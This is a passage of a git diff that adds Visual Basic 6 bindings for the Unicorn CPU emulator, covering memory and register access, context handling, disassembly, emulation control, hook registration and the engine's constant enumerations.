lng2Cur(address) + + errMsg = Empty + e = mem_write_block(uc, addr, buf(0), UBound(buf) + 1, perm) + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + writeBlock = True + +End Function + +'this function requires the memory already be mapped in, use writeBlock for easier access... +Function writeMem(address As Long, buf() As Byte) As Boolean + + Dim addr As Currency + Dim e As uc_err + + errMsg = Empty + addr = lng2Cur(address) + + e = ucs_mem_write(uc, addr, buf(0), UBound(buf) + 1) + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + writeMem = True + +End Function + +Function writeByte(address As Long, b As Byte) As Boolean + + Dim addr As Currency + Dim e As uc_err + Dim buf(0) As Byte + + errMsg = Empty + addr = lng2Cur(address) + buf(0) = b + + e = ucs_mem_write(uc, addr, buf(0), 1) + + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + writeByte = True + +End Function + +Function writeLong(address As Long, value As Long) As Boolean + + Dim addr As Currency + Dim e As uc_err + Dim buf(0 To 3) As Byte + + errMsg = Empty + addr = lng2Cur(address) + CopyMemory buf(0), ByVal VarPtr(value), 4 + + e = ucs_mem_write(uc, addr, buf(0), 4) + + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + writeLong = True + +End Function + +Function writeInt(address As Long, value As Integer) As Boolean + + Dim addr As Currency + Dim e As uc_err + Dim buf(0 To 1) As Byte + + errMsg = Empty + addr = lng2Cur(address) + CopyMemory buf(0), ByVal VarPtr(value), 2 + + e = ucs_mem_write(uc, addr, buf(0), 2) + + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + writeInt = True + +End Function + +Function readMem(address As Long, ByRef buf() As Byte, ByVal size As Long) As Boolean + + Dim addr As Currency + Dim e As uc_err + + errMsg = Empty + addr = lng2Cur(address) + ReDim buf(size - 1) '0 based.. + + e = ucs_mem_read(uc, addr, buf(0), UBound(buf) + 1) + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + readMem = True + +End Function + +Function readByte(address As Long, ByRef b As Byte) As Boolean + + Dim buf() As Byte + + readMem address, buf, 1 + If hadErr Then Exit Function + + b = buf(0) + readByte = True + +End Function + +Function readLong(address As Long, ByRef retVal As Long) As Boolean + + Dim buf() As Byte + + readMem address, buf, 4 + If hadErr Then Exit Function + + CopyMemory ByVal VarPtr(retVal), buf(0), 4 + readLong = True + +End Function + +Function readInt(address As Long, ByRef retVal As Integer) As Boolean + + Dim buf() As Byte + + readMem address, buf, 2 + If hadErr Then Exit Function + + CopyMemory ByVal VarPtr(retVal), buf(0), 2 + readInt = True + +End Function + + +Function saveContext() As Long + + Dim hContext As Long + Dim e As uc_err + + errMsg = Empty + e = ucs_context_alloc(uc, hContext) + + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + e = ucs_context_save(uc, hContext) + + If e <> uc_err_ok Then + errMsg = err2str(e) + e = ucs_free(hContext) + If e <> uc_err_ok Then errMsg = errMsg & " error freeing context: " & err2str(e) + Exit Function + End If + + saveContext = hContext + +End Function + +Function restoreContext(hContext As Long) As Boolean + + Dim e As uc_err + + errMsg = Empty + e = ucs_context_restore(uc, hContext) + + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + restoreContext = True + +End Function + +Function freeContext(hContext As Long) As Boolean + Dim e As uc_err + e = ucs_free(hContext) + If e <> uc_err_ok Then + errMsg = err2str(e) + Else + freeContext = True + End If +End Function + + +Function disasm(va As Long, Optional ByRef instrLen As Long) As String + + Dim buf As String, i As Long, b() As Byte + Dim dump As String + On Error Resume Next + + If Not m_DisasmOk Then + disasm = Right("00000000" & Hex(va), 8) + Exit Function + End If + + buf = String(300, Chr(0)) + + instrLen = disasm_addr(uc, va, buf, Len(buf)) + If instrLen < 1 Then + Select Case instrLen + Case -1: buf = "Buffer to small" + Case -2: buf = "Failed to read memory" + Case -3: buf = "Failed to disassemble" + Case Default: buf = "Unknown error " & instrLen + End Select + dump = "?? ?? ??" + GoTo end_of_func + End If + + i = InStr(buf, Chr(0)) + If i > 2 Then buf = VBA.Left(buf, i - 1) Else buf = Empty + + readMem va, b(), instrLen + + For i = 0 To UBound(b) + dump = dump & hhex(b(i)) & " " + Next + +end_of_func: + disasm = Right("00000000" & Hex(va), 8) & " " & rpad(dump, 25) & buf + +End Function + +Function startEmu(beginAt As Long, endAt As Long, Optional timeout As Long = 0, Optional count As Long = 0) As Boolean + + Dim e As uc_err + Dim a As Currency, b As Currency, t As Currency + + a = lng2Cur(beginAt) + b = lng2Cur(endAt) + t = lng2Cur(timeout) + + errMsg = Empty + e = ucs_emu_start(uc, a, b, t, count) + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + startEmu = True + +End Function + +Function stopEmu() As Boolean + Dim e As uc_err + errMsg = Empty + e = ucs_emu_stop(uc) + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + stopEmu = True +End Function + + + Function addHook(catagory As hookCatagory, flags As uc_hook_type, Optional beginAt As Long = 1, Optional endAt As Long = 0) As Boolean + + Dim e As uc_err + Dim hHook As Long 'handle to remove hook + Dim a As Currency, b As Currency + + e = -1 + a = lng2Cur(beginAt) + b = lng2Cur(endAt) + errMsg = Empty + + If KeyExistsInCollection(hooks, "flags:" & flags) Then + addHook = True + Exit Function + End If + + If catagory = hc_code Then e = ucs_hook_add(uc, hHook, flags, AddressOf code_hook, ObjPtr(Me), a, b, catagory) + If catagory = hc_mem Then e = ucs_hook_add(uc, hHook, flags, AddressOf mem_hook, ObjPtr(Me), a, b, catagory) + If catagory = hc_memInvalid Then e = ucs_hook_add(uc, hHook, flags, AddressOf invalid_mem_hook, ObjPtr(Me), a, b, catagory) + If catagory = hc_block Then e = ucs_hook_add(uc, hHook, flags, AddressOf block_hook, ObjPtr(Me), a, b, catagory) + If catagory = hc_int Then e = ucs_hook_add(uc, hHook, flags, AddressOf interrupt_hook, ObjPtr(Me), a, b, catagory) + + If e = -1 Then + errMsg = "Unimplemented hook catagory" + Exit Function + End If + + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + hooks.Add hHook, "flags:" & flags + addHook = True + + End Function + +'actually these appear to use different prototypes for each instruction? (only in/out examples seen...) +'what about all the others? not implemented yet in c or vb callback +'Function hookInstruction(i As uc_x86_insn, Optional beginAt As Long = 1, Optional endAt As Long = 0) As Boolean +' +' Dim e As uc_err +' Dim hHook As Long 'handle to remove hook +' Dim a As Currency, b As Currency +' +' If i = UC_X86_INS_INVALID Then Exit Function +' +' e = -1 +' a = lng2Cur(beginAt) +' b = lng2Cur(endAt) +' errMsg = Empty +' +' If KeyExistsInCollection(hooks, "instr:" & i) Then +' hookInstruction = True +' Exit Function +' End If +' +' e = ucs_hook_add(uc, hHook, UC_HOOK_INSN, AddressOf instruction_hook, ObjPtr(Me), a, b, hc_inst, i) +' +' If e <> UC_ERR_OK Then +' errMsg = err2str(e) +' Exit Function +' End If +' +' hooks.Add hHook, "instr:" & i +' hookInstruction = True +' +' End Function + + +Function removeHook(ByVal flags As uc_hook_type) As Boolean + + On Error Resume Next + + Dim hHook As Long, e As uc_err, wasInstr As Boolean + + errMsg = Empty + hHook = hooks("flags:" & flags) + + If hHook = 0 Then + hHook = hooks("instr:" & flags) 'maybe it was an instruction hook? + If hHook = 0 Then + errMsg = "Hook handle not found for supplied flags." + Exit Function + Else + wasInstr = True + End If + End If + + e = ucs_hook_del(uc, hHook) + + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + If wasInstr Then + hooks.Remove "instr:" & flags + Else + hooks.Remove "flags:" & flags + End If + + removeHook = True + +End Function + +Function getMemMap() As Collection 'of 32bit CMemRegion + Dim c As New Collection + Dim ret As New Collection + Dim mem As CMemRegion + Dim e As uc_err + Dim s, tmp, v + + errMsg = Empty + Set getMemMap = ret + + e = get_memMap(uc, c) + + If e <> uc_err_ok Then + errMsg = err2str(e) + Exit Function + End If + + For Each s In c '&h1000000,&h11fffff,&h7 these should always be 32bit safe values created in this class.. + If Len(s) > 0 Then + tmp = Split(s, ",") + If UBound(tmp) = 2 Then + Set mem = New CMemRegion + mem.address = CLng(tmp(0)) + mem.endsAt = CLng(tmp(1)) + mem.size = ULong(mem.endsAt, mem.address, op_sub) + 1 'vb native math is signed only..we play it safe.. + mem.perm = CLng(tmp(2)) + ret.Add mem + End If + End If + Next + +End Function + + +'these are internal functions used from the callback in the module to route the message to the event interface +'little confusing but in the end easier for the end user...also lays foundation for multiple live instances +'(although only one can run at a time since vb is single threaded) + +Friend Function internal_invalid_mem_hook(ByVal t As uc_mem_type, ByVal address As Currency, ByVal size As Long, ByVal value As Currency) As Long + Dim addr As Long, v As Long, continue As Boolean + addr = cur2lng(address) + v = cur2lng(value) + RaiseEvent InvalidMem(t, addr, size, v, continue) + internal_invalid_mem_hook = IIf(continue, 1, 0) +End Function + +Friend Sub internal_mem_hook(ByVal t As uc_mem_type, ByVal address As Currency, ByVal size As Long, ByVal value As Currency) + Dim addr As Long, v As Long + addr = cur2lng(address) + v = cur2lng(value) + RaiseEvent MemAccess(t, addr, size, v) +End Sub + +Friend Sub internal_code_hook(ByVal address As Currency, ByVal size As Long) + Dim addr As Long + addr = cur2lng(address) + RaiseEvent CodeHook(addr, size) +End Sub + +Friend Sub internal_block_hook(ByVal address As Currency, ByVal size As Long) + Dim addr As Long + addr = cur2lng(address) + RaiseEvent BlockHook(addr, size) +End Sub + +Friend Sub internal_interrupt_hook(ByVal intno As Long) + RaiseEvent Interrupt(intno) +End Sub + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/uc_def.bas b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/uc_def.bas new file mode 100644 index 0000000..823819c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/vb6/uc_def.bas @@ -0,0 +1,2504 @@ +Attribute VB_Name = "uc_def" +Option Explicit + +'Unicorn Engine x86 32bit wrapper class for vb6 + +'Contributed by: FireEye FLARE team +'Author: David Zimmer <david.zimmer@fireeye.com>, <dzzie@yahoo.com> +'License: Apache + +' supported api: +' ucs_version +' ucs_arch_supported +' ucs_open +' ucs_close +' uc_reg_write +' uc_reg_read +' uc_mem_write +' UC_MEM_READ +' uc_emu_start +' uc_emu_stop +' ucs_hook_add +' uc_mem_map +' uc_hook_del +' uc_mem_regions +' uc_mem_map_ptr +' uc_context_alloc +' uc_free +' uc_context_save +' uc_context_restore +' uc_mem_unmap +' uc_mem_protect +' uc_strerror +' uc_errno + +' supported hooks: +' UC_HOOK_CODE +' UC_HOOK_BLOCK +' memory READ/WRITE/FETCH +' invalid memory access +' interrupts +' +' bonus: +' disasm_addr (32bit only uses libdasm) +' mem_write_block (map and write data auto handles alignment) +' get_memMap (wrapper for uc_mem_regions) +' +' + +'sample supports multiple instances, required since callbacks must be in a shared module +Global instances As New Collection +Global UNICORN_PATH As String +Global DYNLOAD As Long + +Public Enum uc_arch + UC_ARCH_ARM = 1 ' ARM architecture (including Thumb, Thumb-2) + UC_ARCH_ARM64 = 2 ' ARM-64, also called AArch64okok + UC_ARCH_MIPS = 3 ' Mips architecture + UC_ARCH_X86 = 4 ' X86 architecture (including x86 & x86-64) + UC_ARCH_PPC = 5 ' PowerPC architecture (currently unsupported) + UC_ARCH_SPARC = 6 ' Sparc architecture + UC_ARCH_M68K = 7 ' M68K architecture + UC_ARCH_MAX = 8 +End Enum + +Public Enum uc_prot + UC_PROT_NONE = 0 + UC_PROT_READ = 1 + UC_PROT_WRITE = 2 + UC_PROT_EXEC = 4 + UC_PROT_ALL = 7 +End Enum + +Public Enum uc_err + uc_err_ok = 0 ' No error: everything was fine + UC_ERR_NOMEM = 1 ' Out-Of-Memory error: uc_open(), uc_emulate() + UC_ERR_ARCH = 2 ' Unsupported architecture: uc_open() + UC_ERR_HANDLE = 3 ' Invalid handle + UC_ERR_MODE = 4 ' Invalid/unsupported mode: uc_open() + UC_ERR_VERSION = 5 ' Unsupported version (bindings) + UC_ERR_READ_UNMAPPED = 6 ' Quit emulation due to READ on unmapped memory: uc_emu_start() + UC_ERR_WRITE_UNMAPPED = 7 ' Quit emulation due to WRITE on unmapped memory: uc_emu_start() + UC_ERR_FETCH_UNMAPPED = 8 ' Quit emulation due to FETCH on unmapped memory: uc_emu_start() + UC_ERR_HOOK = 9 ' Invalid hook type: uc_hook_add() + UC_ERR_INSN_INVALID = 10 ' Quit emulation due to invalid instruction: uc_emu_start() + UC_ERR_MAP = 11 ' Invalid memory mapping: uc_mem_map() + UC_ERR_WRITE_PROT = 12 ' Quit emulation due to UC_MEM_WRITE_PROT violation: uc_emu_start() + UC_ERR_READ_PROT = 13 ' Quit emulation due to UC_MEM_READ_PROT violation: uc_emu_start() + UC_ERR_FETCH_PROT = 14 ' Quit emulation due to UC_MEM_FETCH_PROT violation: uc_emu_start() + UC_ERR_ARG = 15 ' Inavalid argument provided to uc_xxx function (See specific function API) + UC_ERR_READ_UNALIGNED = 16 ' Unaligned read + UC_ERR_WRITE_UNALIGNED = 17 ' Unaligned write + UC_ERR_FETCH_UNALIGNED = 18 ' Unaligned fetch + UC_ERR_HOOK_EXIST = 19 ' hook for this event already existed + UC_ERR_RESOURCE = 20 ' Insufficient resource: uc_emu_start() + UC_ERR_EXCEPTION = 21 ' Unhandled CPU exception +End Enum + +' All type of memory accesses for UC_HOOK_MEM_* +Public Enum uc_mem_type + UC_MEM_READ = 16 ' Memory is read from + uc_mem_write = 17 ' Memory is written to + UC_MEM_FETCH = 18 ' Memory is fetched + UC_MEM_READ_UNMAPPED = 19 ' Unmapped memory is read from + UC_MEM_WRITE_UNMAPPED = 20 ' Unmapped memory is written to + UC_MEM_FETCH_UNMAPPED = 21 ' Unmapped memory is fetched + UC_MEM_WRITE_PROT = 22 ' Write to write protected, but mapped, memory + UC_MEM_READ_PROT = 23 ' Read from read protected, but mapped, memory + UC_MEM_FETCH_PROT = 24 ' Fetch from non-executable, but mapped, memory + UC_MEM_READ_AFTER = 25 ' Memory is read from (successful access) +End Enum + +Public Enum uc_mode 'from /bindings/dotnet/common.fs + UC_MODE_LITTLE_ENDIAN = 0 'little-endian mode (default mode) + UC_MODE_BIG_ENDIAN = 1073741824 'big-endian mode +' UC_MODE_ARM = 0 'ARM mode +' UC_MODE_THUMB = 16 'THUMB mode (including Thumb-2) +' UC_MODE_MCLASS = 32 'ARM's Cortex-M series (currently unsupported) +' UC_MODE_V8 = 64 'ARMv8 A32 encodings for ARM (currently unsupported) +' UC_MODE_MICRO = 16 'MicroMips mode (currently unsupported) +' UC_MODE_MIPS3 = 32 'Mips III ISA (currently unsupported) +' UC_MODE_MIPS32R6 = 64 'Mips32r6 ISA (currently unsupported) +' UC_MODE_MIPS32 = 4 'Mips32 ISA +' UC_MODE_MIPS64 = 8 'Mips64 ISA + UC_MODE_16 = 2 '16-bit mode + UC_MODE_32 = 4 '32-bit mode + UC_MODE_64 = 8 '64-bit mode +' UC_MODE_PPC32 = 4 '32-bit mode (currently unsupported) +' UC_MODE_PPC64 = 8 '64-bit mode (currently unsupported) +' UC_MODE_QPX = 16 'Quad Processing eXtensions mode (currently unsupported) +' UC_MODE_SPARC32 = 4 '32-bit mode +' UC_MODE_SPARC64 = 8 '64-bit mode +' UC_MODE_V9 = 16 'SparcV9 mode (currently unsupported) +End Enum + +Public Enum uc_hook_type 'from /bindings/dotnet/common.fs + UC_HOOK_INTR = 1 ' Hook all interrupt/syscall events + UC_HOOK_INSN = 2 ' Hook a particular instruction + UC_HOOK_CODE = 4 ' Hook a range of code + UC_HOOK_BLOCK = 8 ' Hook basic blocks + UC_HOOK_MEM_READ_UNMAPPED = 16 ' Hook for memory read on unmapped memory + UC_HOOK_MEM_WRITE_UNMAPPED = 32 ' Hook for invalid memory write events + UC_HOOK_MEM_FETCH_UNMAPPED = 64 ' Hook for invalid memory fetch for execution events + UC_HOOK_MEM_READ_PROT = 128 ' Hook for memory read on read-protected memory + UC_HOOK_MEM_WRITE_PROT = 256 ' Hook for memory write on write-protected memory + UC_HOOK_MEM_FETCH_PROT = 512 ' Hook for memory fetch on non-executable memory + UC_HOOK_MEM_READ = 1024 ' Hook memory read events. + UC_HOOK_MEM_WRITE = 2048 ' Hook memory write events. + UC_HOOK_MEM_FETCH = 4096 ' Hook memory fetch for execution events + UC_HOOK_MEM_READ_AFTER = 8192 ' Hook memory read events, but only successful access.(triggered after successful read.) + UC_HOOK_MEM_UNMAPPED = 112 + UC_HOOK_MEM_PROT = 896 + UC_HOOK_MEM_READ_INVALID = 144 + UC_HOOK_MEM_WRITE_INVALID = 288 + UC_HOOK_MEM_FETCH_INVALID = 576 + UC_HOOK_MEM_INVALID = 1008 + UC_HOOK_MEM_VALID = 7168 +End Enum + +Public Enum hookCatagory + hc_code = 0 + hc_block = 1 + hc_inst = 2 + hc_int = 3 + hc_mem = 4 + hc_memInvalid = 5 +End Enum + +Public Enum uc_x86_reg + UC_X86_REG_INVALID = 0 + UC_X86_REG_AH = 1 + UC_X86_REG_AL = 2 + UC_X86_REG_AX = 3 + UC_X86_REG_BH = 4 + UC_X86_REG_Bl = 5 + UC_X86_REG_BP = 6 + UC_X86_REG_BPL = 7 + UC_X86_REG_BX = 8 + UC_X86_REG_CH = 9 + UC_X86_REG_CL = 10 + UC_X86_REG_CS = 11 + UC_X86_REG_CX = 12 + UC_X86_REG_DH = 13 + UC_X86_REG_DI = 14 + UC_X86_REG_DIL = 15 + UC_X86_REG_DL = 16 + UC_X86_REG_DS = 17 + UC_X86_REG_DX = 18 + UC_X86_REG_EAX = 19 + UC_X86_REG_EBP = 20 + UC_X86_REG_EBX = 21 + UC_X86_REG_ECX = 22 + UC_X86_REG_EDI = 23 + UC_X86_REG_EDX = 24 + UC_X86_REG_EFLAGS = 25 + UC_X86_REG_EIP = 26 + UC_X86_REG_EIZ = 27 + UC_X86_REG_ES = 28 + UC_X86_REG_ESI = 29 + UC_X86_REG_ESP = 30 + UC_X86_REG_FPSW = 31 + UC_X86_REG_FS = 32 + UC_X86_REG_GS = 33 + UC_X86_REG_IP = 34 + UC_X86_REG_RAX = 35 + UC_X86_REG_RBP = 36 + UC_X86_REG_RBX = 37 + UC_X86_REG_RCX = 38 + UC_X86_REG_RDI = 39 + UC_X86_REG_RDX = 40 + UC_X86_REG_RIP = 41 + UC_X86_REG_RIZ = 42 + UC_X86_REG_RSI = 43 + UC_X86_REG_RSP = 44 + UC_X86_REG_SI = 45 + UC_X86_REG_SIL = 46 + UC_X86_REG_SP = 47 + UC_X86_REG_SPL = 48 + UC_X86_REG_SS = 49 + UC_X86_REG_CR0 = 50 + UC_X86_REG_CR1 = 51 + UC_X86_REG_CR2 = 52 + UC_X86_REG_CR3 = 53 + UC_X86_REG_CR4 = 54 + UC_X86_REG_CR5 = 55 + UC_X86_REG_CR6 = 56 + UC_X86_REG_CR7 = 57 + UC_X86_REG_CR8 = 58 + UC_X86_REG_CR9 = 59 + UC_X86_REG_CR10 = 60 + UC_X86_REG_CR11 = 61 + UC_X86_REG_CR12 = 62 + UC_X86_REG_CR13 = 63 + UC_X86_REG_CR14 = 64 + UC_X86_REG_CR15 = 65 + UC_X86_REG_DR0 = 66 + UC_X86_REG_DR1 = 67 + UC_X86_REG_DR2 = 68 + UC_X86_REG_DR3 = 69 + UC_X86_REG_DR4 = 70 + UC_X86_REG_DR5 = 71 + UC_X86_REG_DR6 = 72 + UC_X86_REG_DR7 = 73 + UC_X86_REG_DR8 = 74 + UC_X86_REG_DR9 = 75 + UC_X86_REG_DR10 = 76 + UC_X86_REG_DR11 = 77 + UC_X86_REG_DR12 = 78 + UC_X86_REG_DR13 = 79 + UC_X86_REG_DR14 = 80 + UC_X86_REG_DR15 = 81 + UC_X86_REG_FP0 = 82 + UC_X86_REG_FP1 = 83 + UC_X86_REG_FP2 = 84 + UC_X86_REG_FP3 = 85 + UC_X86_REG_FP4 = 86 + UC_X86_REG_FP5 = 87 + UC_X86_REG_FP6 = 88 + UC_X86_REG_FP7 = 89 + UC_X86_REG_K0 = 90 + UC_X86_REG_K1 = 91 + UC_X86_REG_K2 = 92 + UC_X86_REG_K3 = 93 + UC_X86_REG_K4 = 94 + UC_X86_REG_K5 = 95 + UC_X86_REG_K6 = 96 + UC_X86_REG_K7 = 97 + UC_X86_REG_MM0 = 98 + UC_X86_REG_MM1 = 99 + UC_X86_REG_MM2 = 100 + UC_X86_REG_MM3 = 101 + UC_X86_REG_MM4 = 102 + UC_X86_REG_MM5 = 103 + UC_X86_REG_MM6 = 104 + UC_X86_REG_MM7 = 105 + UC_X86_REG_R8 = 106 + UC_X86_REG_R9 = 107 + UC_X86_REG_R10 = 108 + UC_X86_REG_R11 = 109 + UC_X86_REG_R12 = 110 + UC_X86_REG_R13 = 111 + UC_X86_REG_R14 = 112 + UC_X86_REG_R15 = 113 + UC_X86_REG_ST0 = 114 + UC_X86_REG_ST1 = 115 + UC_X86_REG_ST2 = 116 + UC_X86_REG_ST3 = 117 + UC_X86_REG_ST4 = 118 + UC_X86_REG_ST5 = 119 + UC_X86_REG_ST6 = 120 + UC_X86_REG_ST7 = 121 + UC_X86_REG_XMM0 = 122 + UC_X86_REG_XMM1 = 123 + UC_X86_REG_XMM2 = 124 + UC_X86_REG_XMM3 = 125 + UC_X86_REG_XMM4 = 126 + UC_X86_REG_XMM5 = 127 + UC_X86_REG_XMM6 = 128 + UC_X86_REG_XMM7 = 129 + UC_X86_REG_XMM8 = 130 + UC_X86_REG_XMM9 = 131 + UC_X86_REG_XMM10 = 132 + UC_X86_REG_XMM11 = 133 + UC_X86_REG_XMM12 = 134 + UC_X86_REG_XMM13 = 135 + UC_X86_REG_XMM14 = 136 + UC_X86_REG_XMM15 = 137 + UC_X86_REG_XMM16 = 138 + UC_X86_REG_XMM17 = 139 + UC_X86_REG_XMM18 = 140 + UC_X86_REG_XMM19 = 141 + UC_X86_REG_XMM20 = 142 + UC_X86_REG_XMM21 = 143 + UC_X86_REG_XMM22 = 144 + UC_X86_REG_XMM23 = 145 + UC_X86_REG_XMM24 = 146 + UC_X86_REG_XMM25 = 147 + UC_X86_REG_XMM26 = 148 + UC_X86_REG_XMM27 = 149 + UC_X86_REG_XMM28 = 150 + UC_X86_REG_XMM29 = 151 + UC_X86_REG_XMM30 = 152 + UC_X86_REG_XMM31 = 153 + UC_X86_REG_YMM0 = 154 + UC_X86_REG_YMM1 = 155 + UC_X86_REG_YMM2 = 156 + UC_X86_REG_YMM3 = 157 + UC_X86_REG_YMM4 = 158 + UC_X86_REG_YMM5 = 159 + UC_X86_REG_YMM6 = 160 + UC_X86_REG_YMM7 = 161 + UC_X86_REG_YMM8 = 162 + UC_X86_REG_YMM9 = 163 + UC_X86_REG_YMM10 = 164 + UC_X86_REG_YMM11 = 165 + UC_X86_REG_YMM12 = 166 + UC_X86_REG_YMM13 = 167 + UC_X86_REG_YMM14 = 168 + UC_X86_REG_YMM15 = 169 + UC_X86_REG_YMM16 = 170 + UC_X86_REG_YMM17 = 171 + UC_X86_REG_YMM18 = 172 + UC_X86_REG_YMM19 = 173 + UC_X86_REG_YMM20 = 174 + UC_X86_REG_YMM21 = 175 + UC_X86_REG_YMM22 = 176 + UC_X86_REG_YMM23 = 177 + UC_X86_REG_YMM24 = 178 + UC_X86_REG_YMM25 = 179 + UC_X86_REG_YMM26 = 180 + UC_X86_REG_YMM27 = 181 + UC_X86_REG_YMM28 = 182 + UC_X86_REG_YMM29 = 183 + UC_X86_REG_YMM30 = 184 + UC_X86_REG_YMM31 = 185 + UC_X86_REG_ZMM0 = 186 + UC_X86_REG_ZMM1 = 187 + UC_X86_REG_ZMM2 = 188 + UC_X86_REG_ZMM3 = 189 + UC_X86_REG_ZMM4 = 190 + UC_X86_REG_ZMM5 = 191 + UC_X86_REG_ZMM6 = 192 + UC_X86_REG_ZMM7 = 193 + UC_X86_REG_ZMM8 = 194 + UC_X86_REG_ZMM9 = 195 + UC_X86_REG_ZMM10 = 196 + UC_X86_REG_ZMM11 = 197 + UC_X86_REG_ZMM12 = 198 + UC_X86_REG_ZMM13 = 199 + UC_X86_REG_ZMM14 = 200 + UC_X86_REG_ZMM15 = 201 + UC_X86_REG_ZMM16 = 202 + UC_X86_REG_ZMM17 = 203 + UC_X86_REG_ZMM18 = 204 + UC_X86_REG_ZMM19 = 205 + UC_X86_REG_ZMM20 = 206 + UC_X86_REG_ZMM21 = 207 + UC_X86_REG_ZMM22 = 208 + UC_X86_REG_ZMM23 = 209 + UC_X86_REG_ZMM24 = 210 + UC_X86_REG_ZMM25 = 211 + UC_X86_REG_ZMM26 = 212 + UC_X86_REG_ZMM27 = 213 + UC_X86_REG_ZMM28 = 214 + UC_X86_REG_ZMM29 = 215 + UC_X86_REG_ZMM30 = 216 + UC_X86_REG_ZMM31 = 217 + UC_X86_REG_R8B = 218 + UC_X86_REG_R9B = 219 + UC_X86_REG_R10B = 220 + UC_X86_REG_R11B = 221 + UC_X86_REG_R12B = 222 + UC_X86_REG_R13B = 223 + UC_X86_REG_R14B = 224 + UC_X86_REG_R15B = 225 + UC_X86_REG_R8D = 226 + UC_X86_REG_R9D = 227 + UC_X86_REG_R10D = 228 + UC_X86_REG_R11D = 229 + UC_X86_REG_R12D = 230 + UC_X86_REG_R13D = 231 + UC_X86_REG_R14D = 232 + UC_X86_REG_R15D = 233 + UC_X86_REG_R8W = 234 + UC_X86_REG_R9W = 235 + UC_X86_REG_R10W = 236 + UC_X86_REG_R11W = 237 + UC_X86_REG_R12W = 238 + UC_X86_REG_R13W = 239 + UC_X86_REG_R14W = 240 + UC_X86_REG_R15W = 241 + UC_X86_REG_IDTR = 242 + UC_X86_REG_GDTR = 243 + UC_X86_REG_LDTR = 244 + UC_X86_REG_TR = 245 + UC_X86_REG_FPCW = 246 + UC_X86_REG_FPTAG = 247 + UC_X86_REG_ENDING = 248 +End Enum + +'Public Enum uc_x86_insn +' UC_X86_INS_INVALID = 0 +' UC_X86_INS_AAA = 1 +' UC_X86_INS_AAD = 2 +' UC_X86_INS_AAM = 3 +' UC_X86_INS_AAS = 4 +' UC_X86_INS_FABS = 5 +' UC_X86_INS_ADC = 6 +' UC_X86_INS_ADCX = 7 +' UC_X86_INS_ADD = 8 +' UC_X86_INS_ADDPD = 9 +' UC_X86_INS_ADDPS = 10 +' UC_X86_INS_ADDSD = 11 +' UC_X86_INS_ADDSS = 12 +' UC_X86_INS_ADDSUBPD = 13 +' UC_X86_INS_ADDSUBPS = 14 +' UC_X86_INS_FADD = 15 +' UC_X86_INS_FIADD = 16 +' UC_X86_INS_FADDP = 17 +' UC_X86_INS_ADOX = 18 +' UC_X86_INS_AESDECLAST = 19 +' UC_X86_INS_AESDEC = 20 +' UC_X86_INS_AESENCLAST = 21 +' UC_X86_INS_AESENC = 22 +' UC_X86_INS_AESIMC = 23 +' UC_X86_INS_AESKEYGENASSIST = 24 +' UC_X86_INS_AND = 25 +' UC_X86_INS_ANDN = 26 +' UC_X86_INS_ANDNPD = 27 +' UC_X86_INS_ANDNPS = 28 +' UC_X86_INS_ANDPD = 29 +' UC_X86_INS_ANDPS = 30 +' UC_X86_INS_ARPL = 31 +' UC_X86_INS_BEXTR = 32 +' UC_X86_INS_BLCFILL = 33 +' UC_X86_INS_BLCI = 34 +' UC_X86_INS_BLCIC = 35 +' UC_X86_INS_BLCMSK = 36 +' UC_X86_INS_BLCS = 37 +' UC_X86_INS_BLENDPD = 38 +' UC_X86_INS_BLENDPS = 39 +' UC_X86_INS_BLENDVPD = 40 +' UC_X86_INS_BLENDVPS = 41 +' UC_X86_INS_BLSFILL = 42 +' UC_X86_INS_BLSI = 43 +' UC_X86_INS_BLSIC = 44 +' UC_X86_INS_BLSMSK = 45 +' UC_X86_INS_BLSR = 46 +' UC_X86_INS_BOUND = 47 +' UC_X86_INS_BSF = 48 +' UC_X86_INS_BSR = 49 +' UC_X86_INS_BSWAP = 50 +' UC_X86_INS_BT = 51 +' UC_X86_INS_BTC = 52 +' UC_X86_INS_BTR = 53 +' UC_X86_INS_BTS = 54 +' UC_X86_INS_BZHI = 55 +' UC_X86_INS_CALL = 56 +' UC_X86_INS_CBW = 57 +' UC_X86_INS_CDQ = 58 +' UC_X86_INS_CDQE = 59 +' UC_X86_INS_FCHS = 60 +' UC_X86_INS_CLAC = 61 +' UC_X86_INS_CLC = 62 +' UC_X86_INS_CLD = 63 +' UC_X86_INS_CLFLUSH = 64 +' UC_X86_INS_CLFLUSHOPT = 65 +' UC_X86_INS_CLGI = 66 +' UC_X86_INS_CLI = 67 +' UC_X86_INS_CLTS = 68 +' UC_X86_INS_CLWB = 69 +' UC_X86_INS_CMC = 70 +' UC_X86_INS_CMOVA = 71 +' UC_X86_INS_CMOVAE = 72 +' UC_X86_INS_CMOVB = 73 +' UC_X86_INS_CMOVBE = 74 +' UC_X86_INS_FCMOVBE = 75 +' UC_X86_INS_FCMOVB = 76 +' UC_X86_INS_CMOVE = 77 +' UC_X86_INS_FCMOVE = 78 +' UC_X86_INS_CMOVG = 79 +' UC_X86_INS_CMOVGE = 80 +' UC_X86_INS_CMOVL = 81 +' UC_X86_INS_CMOVLE = 82 +' UC_X86_INS_FCMOVNBE = 83 +' UC_X86_INS_FCMOVNB = 84 +' UC_X86_INS_CMOVNE = 85 +' UC_X86_INS_FCMOVNE = 86 +' UC_X86_INS_CMOVNO = 87 +' UC_X86_INS_CMOVNP = 88 +' UC_X86_INS_FCMOVNU = 89 +' UC_X86_INS_CMOVNS = 90 +' UC_X86_INS_CMOVO = 91 +' UC_X86_INS_CMOVP = 92 +' UC_X86_INS_FCMOVU = 93 +' UC_X86_INS_CMOVS = 94 +' UC_X86_INS_CMP = 95 +' UC_X86_INS_CMPPD = 96 +' 